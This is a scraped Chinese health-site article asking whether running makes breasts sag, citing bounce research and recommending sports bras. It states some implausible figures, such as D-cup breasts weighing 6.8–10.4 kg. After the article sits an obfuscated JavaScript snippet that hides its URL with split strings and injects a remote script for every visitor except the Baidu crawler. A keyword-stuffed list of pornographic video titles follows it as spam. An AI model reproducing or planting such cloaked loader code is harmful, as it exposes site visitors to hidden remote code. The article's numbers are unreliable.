當前位置:首頁 > 健康 > 運動健身 > 正文

跑步會讓胸部下垂的嗎?

2017-04-15 09:21:20  來源:360常識網   熱度:
導語:跑步是一直都是比較受人歡迎的一種運動方式,不管是在比賽方面,還是強身健體方面,都有著極強的號召力。女生跑步相對于男性,可能會有那么

跑步是一直都是比較受人歡迎的一種運動方式,不管是在比賽方面,還是強身健體方面,都有著極強的號召力。女生跑步相對于男性,可能會有那么一點的不方便。因為有的女生的胸部發育得比較好,在跑的過程中會上下晃動,容易影響跑步的這個過程。因此,有的人就會擔心,跑步是否會讓胸部下垂。

英國普茲茅斯大學研究結果指出,女性在跑步的過程中,胸部不僅僅只是左右晃動而已,反而是呈現「8」字形的晃動,而這種現象會加速乳房懸韌帶的損壞,進而導致胸部下垂。

試驗發現,一般人跑步一英里(即1609米),胸部就搖動135米,即使是34A罩杯,運動時也會離開身體42mm;對于36C的女性,在運動時,胸部上下跳動約為119mm。這種大幅度的擺動,使胸部的彈性纖維受到永久性傷害,從而導致胸部下垂。

這就是為什么各大運動品牌都會推出「運動內衣」,一個好的運動內衣會幫助你在運動過程中達到良好的支撐效果,并且讓你在跑步的過程中盡可能大幅度減少胸部的晃動。

一對D杯胸部重約6.8到10.4千克不等。這足夠把你的軀干拉前傾,迫使你用駝背的姿勢跑步,降低你的步伐效率提高受傷風險,McGhee說。

如果你還沒留意到,基本上在跑步過程中保持你的胸部們不下垂的就只有胸罩的肩帶,它們承受了巨大的重量。當肩帶太窄時,壓力會強大到不光導致肩部被壓出凹痕,還會壓迫臂叢神經組導致小指麻木。

內衣在跑動中移動得越少,摩擦就越少。然而,你胸部越大,防止移動也越困難。如果內衣選擇不合適,跑步中,內衣晃動比較多,很容易摩擦嬌嫩的肌膚。

對于健身的女性來說,要保護胸部,在運動時佩帶一個合適的運動型內衣非常關鍵。目前市面上販賣的運動內衣,大致上有兩種:一是外形像背心,利用胸前大片布整個包覆胸部,讓乳房盡量貼近胸部,抑制運動時乳房的彈跳。另一種是有罩杯包住和固定胸部,有些內含軟鋼圈,增加支撐力。專家意見:背心形的運動內衣比較適合胸部嬌小,胸罩是A和B罩杯的女性;C罩杯以上的女性適合穿有罩杯的運動內衣。

從上面可以知道,跑步對于胸部較為發育的女性在跑步方面是有一定的影響的,長期沒有做保護措施的話,會造成胸部下垂。因此,需要女性穿著具有罩杯的運動內衣來進行保護,以免對身體造成傷害。而胸部發育較為緩慢的女性,則受的影響是還在可以接受的范圍。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品亚洲片在线花蝴蝶| 中文成人无字幕乱码精品区| 亚洲av午夜福利精品一区| 精品伊人久久香线蕉| 久久99热只有频精品8| CHINESE中国精品自拍| 中文字幕一区日韩精品| 亚洲国产精品成人久久| 九九在线观看精品视频6| 精品久久久久久无码不卡| 亚洲国产精品特色大片观看完整版| 国产精品白浆在线播放 | 国产精品午夜无码体验区| 99国产精品热久久久久久| 中文字幕日本精品一区二区三区| 日韩精品视频在线播放| 久久精品国产乱子伦| 亚洲精品无码久久久影院相关影片| 国产精品99久久免费| 国产精品喷水在线观看| 久久久久国产精品免费网站| 久久国产精品偷99| 波多野结衣精品一区二区三区| 久久频这里精品99香蕉久| 999任你躁在线精品免费不卡| 成人午夜亚洲精品无码网站| 九九精品视频在线播放8| 精品久久天干天天天按摩| 精品久久久久久久国产潘金莲| 久久99精品久久久久麻豆| 田中瞳中文字幕久久精品| 亚洲精品无码专区2| 国产精品亚洲片在线花蝴蝶| 精品国产粉嫩内射白浆内射双马尾| 91精品福利在线观看| 久久免费观看国产精品88av| 日韩精品无码免费专区网站 | 久久久无码精品亚洲日韩软件| 国产在线精品99一卡2卡| 国产久热精品无码激情| 国产精品香蕉一区二区三区|